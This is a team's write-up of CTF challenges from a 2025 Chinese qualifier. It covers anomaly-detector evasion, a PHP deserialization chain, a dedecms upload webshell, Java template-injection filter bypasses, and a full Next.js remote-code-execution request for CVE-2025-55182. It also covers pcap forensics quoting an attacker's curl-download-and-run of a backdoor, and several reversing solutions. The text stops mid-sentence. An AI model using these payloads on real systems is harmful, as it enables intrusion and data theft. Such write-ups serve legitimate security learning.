2025CISCN国赛暨长城杯初赛 CloudEver wp
文章目录
战队信息
战队名称:CloudEver
排名:第74名
总分:1388
题解
AI安全
The Silent Heist
采用方案是不去猜模型参数,而是尽量让伪造样本落在训练数据流形内部
需要真实样本中随机取两条 ,做凸组合,加极小高斯噪声(按各维标准差缩放)避免重复,用训练集的分位数区间(1%~99%)裁剪,防止飘出边界,再用本地训练的 IsolationForest 过滤掉可能异常的候选。累加金额直到总和超过 2,000,000
import math from pathlib import Path import numpy as np import pandas as pd from sklearn.ensemble import IsolationForest def_detect_columns(df: pd.DataFrame)->list[str]: cols =list(df.columns)ifall(c.startswith("f")and c[1:].isdigit()for c in cols): cols_sorted =sorted(cols, key=lambda c:int(c[1:]))return cols_sorted ifall(c.startswith("feat_")and c.split("feat_")[-1].isdigit()for c in cols): cols_sorted =sorted(cols, key=lambda c:int(c.split("feat_")[-1]))return cols_sorted return cols def_mahalanobis_sq(x: np.ndarray, mu: np.ndarray, inv_cov: np.ndarray)->float: d = x - mu returnfloat(d @ inv_cov @ d)defmain()->int:classargs:input="public_ledger.csv" outfile ="payload.csv" target_sum =2_000_000.0 rows =0 seed =1337 max_tries =5_000_000 in_path = Path(args.input)ifnot in_path.exists():raise FileNotFoundError(in_path) df = pd.read_csv(in_path) cols = _detect_columns(df) df = df[cols] X = df.to_numpy(dtype=np.float64) rng = np.random.default_rng(args.seed) iforest = IsolationForest( n_estimators=400, max_samples="auto", contamination="auto", random_state=42, n_jobs=-1,) iforest.fit(X) mu = X.mean(axis=0) cov = np.cov(X, rowvar=False) cov = cov + np.eye(cov.shape[0])*1e-6 inv_cov = np.linalg.inv(cov) d_train = np.array([_mahalanobis_sq(x, mu, inv_cov)for x in X], dtype=np.float64) d_thresh =float(np.quantile(d_train,0.85)) p_lo = np.quantile(X,0.01, axis=0) p_hi = np.quantile(X,0.99, axis=0) mean_amount =float(X[:,0].mean())if args.rows and args.rows >0: n_target = args.rows else: n_target =int(math.ceil(args.target_sum /max(mean_amount,1e-9)*1.08))defkey6(vec: np.ndarray)->tuple[float,...]:returntuple(np.round(vec,6).tolist()) seen6 =set(key6(row)for row in X) std = X.std(axis=0) noise_scale =0.02 forged:list[np.ndarray]=[] total_amount =0.0 tries =0whilelen(forged)< n_target and tries < args.max_tries: tries +=1 i =int(rng.integers(0, X.shape[0])) j =int(rng.integers(0, X.shape[0]))if i == j:continue a =float(rng.uniform(0.25,0.75)) cand = a * X[i]+(1.0- a)* X[j] noise = rng.normal(0.0, std * noise_scale) cand = cand + noise cand = np.clip(cand, p_lo, p_hi) k6 = key6(cand)if k6 in seen6:continueif _mahalanobis_sq(cand, mu, inv_cov)> d_thresh:continueifint(iforest.predict(cand.reshape(1,-1))[0])!=1:continue seen6.add(k6) forged.append(cand) total_amount +=float(cand[0])if total_amount >= args.target_sum:breakif total_amount < args.target_sum:raise RuntimeError(f"Failed") out_cols = cols out_df = pd.DataFrame(np.vstack(forged), columns=out_cols) out_path = Path(args.outfile) out_df.to_csv(out_path, index=False, float_format="%.6f")with out_path.open("a", encoding="utf-8", newline="\n")as f: f.write("EOF\n")print("ok")return0if __name__ =="__main__": main()得到类似这样的csv
feat_0,feat_1,feat_2,feat_3,feat_4,feat_5,feat_6,feat_7,feat_8,feat_9,feat_10,feat_11,feat_12,feat_13,feat_14,feat_15,feat_16,feat_17,feat_18,feat_19 308.485857743731,22.126953420071,91.913554290017,81.230027364820,43.481064359107,2.136584631823,11.566235695075,49.041563731114,10.639883281460,27.604991544884,38.063238678408,82.505684908151,5.562986057381,80.212196195485,72.950290077330,17.327446783484,28.383302883077,40.833072559546,9.513137029208,27.727190917077 提交即可拿到flag
Web安全
hellogate
通过图片读取源码
<?phperror_reporting(0);classA{public$handle;publicfunctiontriggerMethod(){echo"".$this->handle;}}classB{public$worker;public$cmd;publicfunction__toString(){return$this->worker->result;}}classC{public$cmd;publicfunction__get($name){echofile_get_contents($this->cmd);}}$raw=isset($_POST['data'])?$_POST['data']:'';header('Content-Type: image/jpeg');readfile("muzujijiji.jpg");highlight_file(__FILE__);$obj=unserialize($_POST['data']);$obj->triggerMethod();看到反序列化洞,可以任意读取文件
链条是:A->triggerMethod() 被调用,A 触发 echo,导致 A->handle (即 B 对象) 调用 __toString()。B::__toString() 访问 B->worker (即 C 对象) 的不存在属性 result。C 触发 __get()。C::__get() 执行 file_get_contents(C->cmd),读取我们指定的文件
写一份exp
<?phpclassA{public$handle;}classB{public$worker;public$cmd;}classC{public$cmd;}$c=newC();$c->cmd='/flag';$b=newB();$b->worker=$c;$a=newA();$a->handle=$b;echourlencode(serialize($a));?>运行得到结果
O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D 然后发包,读取图片内容作为回显即可得到flag
dedecms
弱口令Aa123456789登陆进/dede后台,查看到php版本为5.2.4,该版本存在文件上传截断问题
上传文件名称为a.php{hex(00)}jpg,内容为木马,然后在目录/uploads/allimg/找到对应文件即可getshell
EzJava
弱密码admin/admin123登陆
功能存在java的ssti,简单测试发现过滤了T,new,flag等关键字,进行相应绕过
找到 File.listRoots() 这个静态无参方法来列根目录
[[${''.getClass().forName('java.u'+'til.Ar'+'rays').getMethod('toString', ''.getClass().forName('[Ljava.lang.Ob'+'ject;')).invoke(null, ''.getClass().forName('java.i'+'o.Fi'+'le').getMethod('listRoots').invoke(null)[0].list())}]]读取目录,得到flag名称
走 URI.create -> Paths.get -> Files.readAllLines 静态链读取flag
[[${''.getClass().forName('java.n'+'io.fi'+'le.Files').getMethod('readAllLines', ''.getClass().forName('java.n'+'io.fi'+'le.Path')).invoke(null, ''.getClass().forName('java.n'+'io.fi'+'le.Paths').getMethod('get', ''.getClass().forName('java.n'+'et.URI')).invoke(null, ''.getClass().forName('java.n'+'et.URI').getMethod('create', ''.getClass()).invoke(null, 'file:///fl'+'ag_y0u_d0nt_kn0w')))}]]redjs
明显是最新的CVE-2025-55182,直接公开POC即可读取flag
POST /apps HTTP/2 Host: eci-2ze7kb7ylndz1kykw8m1.cloudeci1.ichunqiu.com:3000 Next-Action: x X-Nextjs-Request-Id: 91dmljym Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: hst51Myl5trXfvWsC9Ay6 Content-Length: 696 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- 流量分析
SnakeBackdoor-1
环境里没 tshark/scapy,就用 Python 直接读 pcap,按 pcap 头格式切包,再手写以太网/IPv4/TCP 解析,拿到每个包的五元组和 tcp_payload。
先在所有 TCP payload 里搜 POST/GET/HTTP/login/password 之类的关键字,很快定位到 192.168.1.200:5000 的 Web 流量(Werkzeug/Flask)。继续筛到 POST /admin/login,发现同一来源 192.168.1.111 连续提交很多次,明显在跑爆破。
对每个 POST /admin/login,用 \r\n\r\n 分开头部和正文,正文是表单:username=...&password=...,把 password 取出来做列表。然后把每次请求往后匹配同一连接的 HTTP 响应,重组一下 server->client 的 TCP 段读取状态行。
失败基本是 200 OK,页面里带“用户名或密码错误”,并且 session 清空;成功的是 302 FOUND,Location 跳到 /admin/panel,还下发有效 session。只有两次是 302,对应的请求体都是 password=zxcvbnm123。
提交:flag{zxcvbnm123}
SnakeBackdoor-2
还是先用 Python 手搓解析 pcap,拿到每个包的 TCP payload。目标端口很明显是 192.168.1.200:5000(Flask/Werkzeug)。
我没直接去猜配置文件泄露,而是先全流量里搜敏感关键词:SECRET_KEY / secret_key / itsdangerous / config.py 这些。命中不多,里面有一条是服务器回给客户端的 HTML(src=192.168.1.200:5000 -> dst=192.168.1.111:55359),包号大概在 28822。
把这个包的完整 payload 拿出来(1460 字节),在里面搜索 SECRET_KEY,能看到一段类似调试输出的配置字典:
'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160' 因为页面里有 ' 这种 HTML 实体,我做了一次 unescape,再用正则把值扣出来,最后得到的 SECRET_KEY 就是:
flag{c6242af0-6891-4510-8432-e1cdf051f160}
SnakeBackdoor-3
先还是盯 192.168.1.111 -> 192.168.1.200:5000 的 HTTP。把发往 5000 的 TCP payload 扫一遍,重点看有没有 {{、{% 这种模板符号,很快就抓到两条 POST /admin/preview,其中一条 Content-Length 特别大(4602),明显是注入。
把这条连接按 seq 简单重组,拿到完整请求体。里面是用 url_for.__globals__[...]exec(...) 执行一段 Python,核心就是 base64.b64decode('...')。
接下来就是把它一层层还原:先取出最外层 base64 字符串解码,得到的内容里又定义了一个 lambda,模式基本固定:把某个很长的 bytes 字符串先反转,再 base64 解码,再 zlib 解压,然后 exec。后面重复了很多层,直接写个循环:只要还能匹配到 exec((_)(b'...')) 这种结构,就把里面的 bytes 抠出来继续“反转->b64->zlib”。
跑到最后一层,终于出来一段明文 python 后门源码,里面直接写了密钥:
RC4_SECRET = b’v1p3r_5tr1k3_k3y’
所以这题要的 Key 就是这个字符串。
提交:flag{v1p3r_5tr1k3_k3y}
SnakeBackdoor-4
流量里能看到多次 POST /admin/*,都带同一个头:X-Token-Auth: 3011aa21232beb7504432bfa90d32779,POST 体是 data=<hex>
data 是 RC4 加密的命令:RC4_SECRET = v1p3r_5tr1k3_k3y(第二题得到)
将 data 先 hex 解码,再用 RC4 解密,能还原出执行链:
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zipunzip -P nf2jd092jd01 -d /tmp /tmp/123.zip(解压密码也在这里)mv /tmp/shell /tmp/python3.13chmod +x /tmp/python3.13/tmp/python3.13(执行)
结论:被执行的后门二进制文件名是 python3.13
flag{python3.13}
SnakeBackdoor-5
通过分析 attack.pcap,发现攻击者(IP: 192.168.1.111)针对目标主机(IP: 192.168.1.200,运行 Flask 应用)发起了多次扫描和攻击。
攻击者利用漏洞使目标主机从恶意文件服务器(192.168.1.201:8080)下载了 shell.zip。压缩包被加密。通过分析 HTTP 流量或尝试常用弱口令,确定密码为 nf2jd092jd01。受感染主机(192.168.1.200)与 C2 服务器(192.168.1.201:58782)建立了 TCP 连接。通信内容被加密,且前 4 个字节固定为种子值。
从 shell.zip 中提取出名为 shell 的 ELF 文件,并进行静态分析。
密钥生成算法
逆向分析显示,恶意软件通过以下步骤生成加密密钥:
- 种子获取: 从 C2 服务器接收 4 字节数据(大端序),转换为整数作为随机数种子。
- 随机数生成: 调用 srand(seed) 初始化随机数生成器。
- 密钥构造: 连续调用 4 次 rand(),将生成的 4 个整数按小端序拼接成 16 字节的 AES 密钥。
从 attack.pcap 的 TCP 流中提取出 C2 服务器发送的种子数据:
- Seed Bytes: 34 95 20 46
- Seed Value: 0x34952046 (十进制: 882188358)
使用 Python 的 ctypes 库模拟 glibc 的 rand() 生成密钥:
import ctypes import struct libc = ctypes.CDLL("libc.so.6")# 设置种子 seed =0x34952046 libc.srand(seed)# 生成 4 个随机数 r1 = libc.rand() r2 = libc.rand() r3 = libc.rand() r4 = libc.rand()# 拼接密钥 (小端序) key = struct.pack("<IIII", r1, r2, r3, r4)print(f"Key: {key.hex()}")计算结果:
- r1: 1643857580 (0x61fb46ac)
- r2: 1329279243 (0x4f3b310b)
- r3: 761592882 (0x2d64fc32)
- r4: 1454650504 (0x56b43488)
- Key Hex: ac46fb610b313b4f32fc642d8834b456
使用生成的密钥尝试解密后续的加密流量(AES-ECB 模式),成功解密并还原出通信内容,证实密钥正确。
flag{ac46fb610b313b4f32fc642d8834b456}
SnakeBackdoor-6
通过分析 HTTP 流量(端口 5000),发现攻击者(IP: 192.168.1.111)对目标 Flask 服务器(IP: 192.168.1.200)实施了 SSTI(服务器端模板注入)攻击。
攻击者通过 /admin/preview 接口发送了恶意的 SSTI payload,其中包含了经过 base64 编码和 zlib 压缩的 Python 代码。注入的代码在服务器上植入了一个基于 Flask 的后门,该后门通过 X-Token-Auth 头进行验证,并使用 RC4 算法加密通信(密钥: v1p3r_5tr1k3_k3y)。
通过解密 RC4 后门流量,发现攻击者进一步执行命令下载了一个名为 shell.zip 的文件:
- 命令: curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
- 解压: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
- 执行: ./shell
我们从 PCAP 中提取了 shell.zip,并使用嗅探到的密码 nf2jd092jd01 成功解压出 shell 二进制文件。
逆向 shell ELF 文件发现,它实现了一个自定义的加密通信协议:
- 种子交换: 客户端连接 C2 服务器(192.168.1.201:58782),服务器首先发送 4 字节种子(大端序)。
- 密钥派生: 客户端接收种子后,将其转换为小端序整数,作为 srand() 的种子。随后调用 4 次 glibc 的 rand() 函数生成 4 个 32 位整数。
- 密钥构造: 这 4 个整数按小端序拼接成 16 字节的 SM4 密钥。
虽然二进制文件使用了 SM4 算法结构(包括标准的 FK 和 CK 常量),但它使用了 自定义的 S-Box。此外,它在 S-Box 替换步骤中使用了反转的字节顺序。我们从二进制文件中提取了自定义 S-Box,并实现了一个兼容的解密器。
从 C2 流量(端口 59814 <-> 58782)中提取出服务器发送的种子 0x34952046。
使用 Python ctypes 调用 glibc 生成密钥:
import ctypes, struct libc = ctypes.CDLL("libc.so.6") seed =0x46209534 libc.srand(seed) key =b''.join(struct.pack("<I", libc.rand()&0xffffffff)for _ inrange(4))# Key: ac46fb610b313b4f32fc642d8834b456解密 C2 通信
使用提取的密钥和自定义 SM4 算法解密流量。发现攻击者执行了 cat /flag 命令,但为了混淆,使用了 tr 命令替换字符:
命令: cat /flag | tr ‘1’ ‘l’ | tr ‘0’ ‘O’
解密输出: flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}
将混淆字符还原(l -> 1, O -> 0),得到最终 Flag
Flag: flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
逆向工程
babyhame
通过观察文件体积并使用 strings 或 binwalk 分析,发现文件中包含 GDPC 和 Godot 字符串,确认这是一个基于 Godot 引擎 开发的游戏。
Godot 游戏的资源通常打包在 .pck 文件中。对于单文件发布的游戏(如本题),.pck 数据通常被附加在 .exe 文件的末尾。
通过分析文件末尾数据或使用工具(如 Godot RE Tools / gdsdecomp),定位到嵌入的 PCK 数据段并提取出游戏脚本(.gd 或编译后的 .gdc)
重点关注以下脚本文件:
- game_manager.gd(游戏逻辑控制)
- Flag.gd 或相关的验证脚本(负责处理输入验证)
密钥生成逻辑
在 game_manager 脚本中,发现了一个硬编码的初始密钥变量:
var encryption_key ="FanAglFanAglOoO!"游戏中存在收集金币的机制(Coin 到 Coin9,共9枚)。分析金币收集的回调函数发现关键逻辑:
当玩家收集完所有金币后,触发密钥变更逻辑,将初始密钥中的字符 ‘A’ 替换为 ‘B’
最终密钥计算:
初始 Key: FanAglFanAglOoO! 变换操作: replace('A', 'B') 最终 Key: FanBglFanBglOoO! 在 Flag 验证脚本中,分析出验证算法如下:
加密模式: AES-ECB (AESContext.MODE_ECB_ENCRYPT)
输入处理: 获取用户输入的字符串,转换为 UTF-8 字节。
加密过程: 使用 最终 Key 对输入进行 AES 加密。
比对目标: 加密结果转为十六进制字符串(Hex String)后,与硬编码的密文进行比对。
硬编码的密文 (Hex):
d458af702a680ae4d089ce32fc39945d 既然知道了算法(AES-ECB)、密钥(最终 Key)和密文,我们可以直接编写脚本进行逆向解密,无需真正运行游戏去吃金币。
Python 解密脚本
from Crypto.Cipher import AES import binascii ciphertext_hex ="d458af702a680ae4d089ce32fc39945d" ciphertext = binascii.unhexlify(ciphertext_hex)# 原始 Key,逻辑: 收集完金币后 'A' 变为 'B' key_str ="FanBglFanBglOoO!" key = key_str.encode('utf-8')# AES ECB 解密 cipher = AES.new(key, AES.MODE_ECB)try: decrypted_bytes = cipher.decrypt(ciphertext)print(f"Decrypted Hex: {decrypted_bytes.hex()}")print(f"Decrypted String (Flag): {decrypted_bytes.decode('utf-8')}")except Exception as e:print(f"Error: {e}")运行解密脚本得到明文:wOW~youAregrEaT!
flag{ wOW~youAregrEaT!}
wasm-login
任务: 恢复一个与登录成功相关的 13 位毫秒级时间戳。
已知条件:登录时间大概在 2025年12月的第三个周末 之后,也就是 周一 (12月22日) 凌晨。登录认证数据的 MD5 校验值 前 16 位为 ccaf33e3512e31f3。使用的用户名和密码为默认的 admin / admin。认证算法逻辑在 WebAssembly (WASM) 文件 release.wasm 中。
通过分析 release.wasm 及其对应的 Source Map (release.wasm.map),我还原了 authenticate 函数的生成逻辑:
最终生成的认证数据是一个 JSON 字符串,格式如下:
{"username":"admin","password":"<EncodedPassword>","signature":"<Signature>"}其中:
- Username: admin
- Password: 经过 自定义 Base64 编码后的字符串。
- Signature: 使用 时间戳 作为密钥,对 {“username”:“admin”,“password”:“…”} 进行 自定义 HMAC-SHA256 签名,再经过 自定义 Base64 编码。
- 自定义 Base64 表:
标准 Base64 表被替换为:
NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO密码 admin 编码后为 L0In602=。 - 自定义 HMAC-SHA256:
标准的 HMAC 算法使用异或常量 0x36 (ipad) 和 0x5C (opad)。而本题的实现中修改了这些常量:ipad XOR 常量: 0x76opad XOR 常量: 0x3COuter Hash 顺序: 先输入 innerHash 再输入 opad(与标准 HMAC 相反)。 - 最终校验 (Check):
对生成的 AuthData JSON 字符串计算标准 MD5 哈希。我们的目标是找到一个时间戳,使得该 MD5 哈希以 ccaf33e3512e31f3 开头。
题目提示时间为 2025年12月第三个周末(12月20-21日)后的周一凌晨
- 目标日期: 2025年12月22日 (周一)
- 时间窗口: 考虑北京时间 (UTC+8) 凌晨 00:00 到 06:00
- 时间戳范围: 约 1766332800000 到 1766354400000 (UTC 12月21日 16:00 - 22:00)
高性能爆破脚本 (C语言)
由于搜索空间较大(约 2100 万个毫秒级时间戳),使用 C 语言结合 OpenSSL 库进行优化爆破。
核心代码逻辑:
intmain(int argc,char**argv){constunsignedchar target_prefix[8]={0xcc,0xaf,0x33,0xe3,0x51,0x2e,0x31,0xf3};constchar json_prefix[]="{\"username\":\"admin\",\"password\":\"L0In602=\",\"signature\":\"";constchar json_suffix[]="\"}";for(int64_t ts = start_ms; ts <= end_ms;++ts){char ts_str[32];sprintf(ts_str,"%lld", ts);unsignedchar sigBytes[32];custom_hmac_sha256(ts_str, msg_str, sigBytes);// 自定义 Base64 编码char signature_b64[45];custom_b64_encode(sigBytes, signature_b64);// 拼接 JSON 并计算 MD5 MD5_CTX ctx;MD5_Init(&ctx);MD5_Update(&ctx, json_prefix,strlen(json_prefix));MD5_Update(&ctx, signature_b64,44);MD5_Update(&ctx, json_suffix,strlen(json_suffix));MD5_Final(md5_digest,&ctx);if(memcmp(md5_digest, target_prefix,8)==0){printf("FOUND ts=%lld\n", ts);return0;}}return0;}在设定的时间范围内运行爆破程序,迅速找到了匹配的时间戳:
- 匹配时间戳: 1766334550699
- 对应时间: 2025-12-22 00:29:10 (UTC+8)
- 完整 MD5: ccaf33e3512e31f32463a566675005c5
题目要求的 Flag 即为该时间戳生成的完整 MD5 校验值(包裹在 flag{} 中)。
flag{ccaf33e3512e31f32463a566675005c5}
Eternum
分析 tcp.pcap 流量与 kworker 二进制文件
tcp.pcap: 包含客户端(kworker)与服务器(192.168.8.160:13337)通信的加密流量。kworker: 客户端程序,是一个经过 UPX 压缩的 64 位 ELF 可执行文件(Go 语言编写)。
通过手动解析 tcp.pcap,发现客户端(192.168.8.178)与服务器(192.168.8.160)建立了 TCP 连接并传输了若干消息。
每个消息都以固定的魔术字节开头:
- Magic: ET3RNUMX (8 bytes)
- Length: Big-endian uint32 (4 bytes)
- Payload: Length 字节的负载数据
消息负载的结构符合 AES-GCM 加密模式:
- Nonce: 前 12 字节
- Ciphertext: 中间部分
- Tag: 后 16 字节
由于 kworker 被 UPX 加壳,我采用了一种动态提取的方法:
- 运行 kworker 并在其解压自身后立即挂起(使用 SIGSTOP)。
- 通过
/proc/<pid>/mem读取其内存映射中的代码段(.text)和只读数据段(.rodata)。 - 重构出一个未压缩的 ELF 文件以供静态分析。
在解压后的内存中,并未直接找到明显的密钥字符串。通过暴力枚举和分析,最终在二进制文件的 .data 段(读写数据段)中发现了一个 32 字节的硬编码密钥。
AES-GCM Key (Hex):
7866714763566a724f57703574554743504651713434386e50446a494c546537 (ASCII: xfqGcVjrOWp5tUGCPFQq448nPDjILTe7)
使用提取出的密钥和从流量中获取的 Nonce/Tag,成功解密了所有消息。解密后的明文是 Protobuf 序列化数据。
Protobuf 消息分析:
通过提取并解析内嵌的 Eternum/etop.proto 描述符,确定了消息结构:
CommandRequest: 服务器发送命令(如 ls, base32)。
CommandResponse: 客户端返回命令执行结果。
在解密后的第 7 条客户端消息(C msg 7)中,发现了一个 Base32 编码的字符串,这是对服务器命令 base32 /var/opt/s*/ 的响应。
加密负载 (Base32):
MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU=== 对上述 Base32 字符串进行解码:
import base64 b32 ="MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===" flag = base64.b32decode(b32).decode()print(flag)flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}
vvvmmm
运行后输出一段 Elden Ring 的台词+ASCII 图,然后读 48 字节:
input %48c> 输入不对就 Try again~,对了就:
Good. flag{...} strings 直接能看到 UPX 特征:
file vvvmmm strings -a vvvmmm | head 会看到诸如 UPX!、UPX0/UPX1 一类的痕迹。
直接脱壳
upx -d vvvmmm -o unpacked 定位 Unicorn/RISC-V 的关键调用点
在 dump 出来的 x86_64 代码段里(raw binary)用 objdump 直接反汇编并搜 0x296(662):
objdump -D -b binary -m i386:x86-64 --adjust-vma=0x401000 memfd_upx_dump.bin | grep "\$0x296" 能看到类似片段(核心点):
uc_openuc_mem_map(0, 0x1000...)uc_mem_write(0, <riscv_blob>, 0x296)uc_mem_write(0x10000000, input, 0x30)uc_mem_write(0x10001000, key, 0x20)uc_emu_start(begin=0, until=0x296, timeout=0x1e8480, count=0)uc_reg_read(A0)(RISC-V 返回值)
同时能追到两个很关键的指针(在 x86_64 里是 r14/r15):
- RISC-V blob 地址:
0x64c3f0,长度0x296 - key 字符串地址:
0x64c6c0,长度0x20
key 的内容是:
e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ 把 RISC-V blob 拿出来并反汇编
从数据段 dump 里按偏移切出 blob:
- 数据段映射基址:
0x64c000 - blob:
0x64c3f0→ 偏移0x3f0 - key:
0x64c6c0→ 偏移0x6c0
反汇编 RISC-V raw blob(LLVM 工具链很好用):
llvm-objcopy -I binary -O elf64-littleriscv --binary-architecture=riscv64 riscv_blob.bin riscv_blob.elf llvm-objdump -D --triple=riscv64 --mattr=+c,+m,+a riscv_blob.elf RISC-V 代码分两段:
A) 生成 12 个 32-bit 掩码,XOR 输入得到 12 个 word(共 48 字节)
- 输入地址:
0x10000000 - 它把输入当成 12 个 little-endian 的 uint32:
in[0..11] - 用一个 PRNG(看起来很花,但本质就是在模
0x13579bdf下不断乘/取模)生成掩码:- 每轮生成一对
(mask_even, mask_odd) - 共 6 轮 → 12 个 mask
- 每轮生成一对
- 得到中间值
W[i] = in[i] XOR mask[i]
PRNG 的初始种子来自 key 的 64-bit hash:
h = 1 h = (31*h + key[i]) mod 2^64 seed_a4 = h seed_a2 = (h >> 16) (逻辑右移) B) 把 12 个 W[i] 跟 12 个常量对比
后半段就是:
t = W[i] XOR CONST[i]seqz检查是否为 0- 统计 12 项是否全对
- 全对则返回
a0 = 1,否则a0 = 0
因此目标非常清晰:
让 W[i] == CONST[i],则必过。于是可以反推输入:
in[i] = CONST[i] XOR mask[i] 直接反推得到输入
12 个 CONST(从 RISC-V 的 lui/addi/xor 直接读出来)为:
W0 = 0x45034f63 W1 = 0x534762d2 W2 = 0x44b36d04 W3 = 0x44c3ed6a W4 = 0x79bb60b0 W5 = 0x42a1e767 W6 = 0x3edb7e6c W7 = 0x30e1551d W8 = 0x4d3abaa4 W9 = 0x6aa29948 W10 = 0x51ce8847 W11 = 0x51623faf 用正确的 64-bit hash 种子跑 PRNG 6 轮,反推出来的48 字节输入是可打印字符串:
fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX 复现脚本:
#!/usr/bin/env python3import struct KEY =b"e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ" MOD =0x13579bdfdefu32(x):return x &0xffffffffdefu64(x):return x &0xffffffffffffffffdefremuw(rs1, rs2): a = u32(rs1); b = u32(rs2)return u32(a % b)defremu(rs1, rs2): a = u64(rs1); b = u64(rs2)return a % b defmul(rs1, rs2):return u64(u64(rs1)* u64(rs2))defmulhu(rs1, rs2):return(u64(rs1)* u64(rs2))>>64defhash64(key:bytes)->int: h =1for b in key: h = u64(31*h + b)return h defprng_step(a2, a4):# 复刻 RISC-V 里 0x74..0x184 那段(只保留数值计算) a3 = MOD a5 = MOD s0 = s1 = s2 = s3 = s4 = t0 = t1 = t2 = t3 = t4 = t5 = t6 = MOD a2 = remuw(a2, a3) a3 = remuw(a4, MOD) a4 = remuw(a2, MOD) a5 = remuw(a3, MOD) A2s = u64(a2 <<32) A4s = u64(a4 <<32) a4 = remu(mulhu(A4s, A2s), MOD) A3s = u64(a3 <<32) A5s = u64(a5 <<32) a5 = remu(mulhu(A5s, A3s), MOD) a2 = u64(A2s >>32) a3 = u64(A3s >>32) a4 = remu(mul(a4, a2), MOD) a5 = remu(mul(a5, a3), MOD)# 后面很多次 mul/remu,模数都等于 MODfor _ inrange(8): a4 = remu(mul(a4, a2), MOD) a5 = remu(mul(a5, a3), MOD) a2 = remu(mul(a4, a2), MOD) a4 = remu(mul(a5, a3), MOD)return u32(a2), u32(a4)defmain(): h = hash64(KEY) a4 = h a2 =(h >>16)# 目标 12 个 word(从 RISC-V 后半段 xor 常量反推) W =[0x45034f63,0x534762d2,0x44b36d04,0x44c3ed6a,0x79bb60b0,0x42a1e767,0x3edb7e6c,0x30e1551d,0x4d3abaa4,0x6aa29948,0x51ce8847,0x51623faf,] masks =[]for _ inrange(6): a2, a4 = prng_step(a2, a4) masks.append((a2, a4)) inp_words =[]for k,(me, mo)inenumerate(masks): inp_words.append(u32(W[2*k]^ me)) inp_words.append(u32(W[2*k+1]^ mo)) payload =b"".join(struct.pack("<I", w)for w in inp_words) s = payload.decode("ascii")print("input =", s)print("flag{"+s+"}")if __name__ =="__main__": main()所以最终 flag: flag{fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX}
密码学
EzFlag
通过 strings 命令分析二进制文件,发现了关键字符串:
- 提示信息: Enter password:
- 硬编码密码: V3ryStr0ngp@ssw0rd
- Flag 前缀: flag{
- 常量字符串 (K): 012ab9c3478d56ef (用于生成 Flag 字符的映射表)
通过 objdump 反汇编 main 函数和辅助函数 f,梳理出程序逻辑:
- 密码验证: 程序读取用户输入并与 V3ryStr0ngp@ssw0rd 比较。如果匹配,进入 Flag 生成流程。
- 种子初始化: 初始种子 seed 设为 1。
- 循环生成字符:循环 32 次。每次调用函数 f(seed) 获取一个字符。更新种子:seed = (seed * 8) + (i + 0x40)。在索引 7, 12, 17, 22 处插入连字符 -。
- 函数 f(n):计算斐波那契数列的第 n 项模 16 的值 (F_n % 16)。使用该值作为索引,从字符串 K (“012ab9c3478d56ef”) 中查找对应的字符并返回。
斐波那契数列模 16 是周期性的(Pisano Period),其周期长度为 24。我们可以预计算这个序列:
F_mod16 = [0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9, 0, 9, 9, 2, 11, 13, 8, 5, 13, 2, 15, 1]
由于直接运行原程序受限于环境且计算量可能过大(虽然这里有 Sleep),我们用 Python 脚本模拟生成逻辑:
K ="012ab9c3478d56ef" mask =(1<<64)-1# 计算斐波那契数列模 16 (周期 24) F_mod =[] a, b =0,1for _ inrange(24): F_mod.append(a) a, b = b,(a + b)%16defget_char(seed): idx = F_mod[seed %24]return K[idx] seed =1 flag_chars =[]for i inrange(32): char = get_char(seed) flag_chars.append(char)if i in[7,12,17,22]: flag_chars.append('-')# 更新种子:seed = seed * 8 + (i + 0x40) seed =((seed <<3)+(i +0x40))& mask final_flag ="flag{"+"".join(flag_chars)+"}"print(f"Flag: {final_flag}")运行脚本得到的 Flag 为:
flag{10632674-1d219-09f29-14769-f60219a24}
RSA_NestingDoll
通过分析提供的 src.py和 output.txt 中的数据,我们可以确定该题目的加密结构如下:
- 模数结构:n 是一个 4096 位的模数,由 4 个 1024 位的质数相乘得到:
n=p⋅q⋅r⋅sn=p⋅q⋅r⋅s。n1 是一个 2048 位的数,由 4 个 512 位的“内部质数”相乘得到:n1=p1⋅q1⋅r1⋅s1n1=p1⋅q1⋅r1⋅s1。关键关系:外部质数与内部质数存在特定关系,例如p=k1⋅p1+1p=k1⋅p1+1。其中k1k1是一个“光滑数”(Smooth Number),即它只包含较小的质因子。 - 漏洞利用:由于
